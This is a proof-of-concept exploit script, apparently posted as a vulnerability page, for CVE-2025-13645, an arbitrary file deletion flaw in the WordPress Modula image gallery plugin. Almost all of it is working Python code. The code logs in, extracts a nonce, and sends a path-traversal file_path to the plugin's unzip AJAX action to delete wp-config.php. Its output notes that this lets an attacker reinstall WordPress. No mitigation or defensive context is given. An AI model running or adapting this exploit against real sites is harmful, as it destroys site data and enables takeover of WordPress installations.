CVE-2025-13645 WordPress Modula插件任意文件删除漏洞

#!/usr/bin/env python3 """ CVE-2025-13645 PoC - Modula Image Gallery Arbitrary File Deletion This PoC demonstrates the arbitrary file deletion vulnerability in Modula plugin. """ import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_username" PASSWORD = "attacker_password" TARGET_FILE = "wp-config.php" # File to delete def get_nonce(login_cookie): """Get CSRF nonce from WordPress admin page""" response = requests.get( f"{TARGET_URL}/wp-admin/admin.php?page=modula", cookies=login_cookie ) # Extract nonce from response (simplified) import re nonce_match = re.search(r'ajaxNonce["\']\s*[:=]\s*["\']([a-zA-Z0-9]+)', response.text) return nonce_match.group(1) if nonce_match else None def exploit_arbitrary_file_deletion(): """Exploit the arbitrary file deletion vulnerability""" # Step 1: Login to WordPress session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post( f"{TARGET_URL}/wp-login.php", data=login_data, allow_redirects=False ) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Get nonce for AJAX request nonce = get_nonce(session.cookies.get_dict()) if not nonce: print("[-] Failed to get nonce") return False print(f"[+] Got nonce: {nonce}") # Step 3: Send malicious request to delete arbitrary file # The vulnerability is in ajax_unzip_file function # Attackers can manipulate the file path in the ZIP archive exploit_data = { 'action': 'modula_unzip_file', 'nonce': nonce, 'file_path': f'../../../../../../../../../{TARGET_FILE}', 'gallery_id': '1' } print(f"[*] Attempting to delete: {TARGET_FILE}") response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data ) if response.status_code == 200: print("[+] File deletion request sent") print("[+] If wp-config.php was deleted, attacker can reinstall WordPress") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": print("CVE-2025-13645 PoC - Modula Image Gallery Arbitrary File Deletion") print("=" * 60) exploit_arbitrary_file_deletion()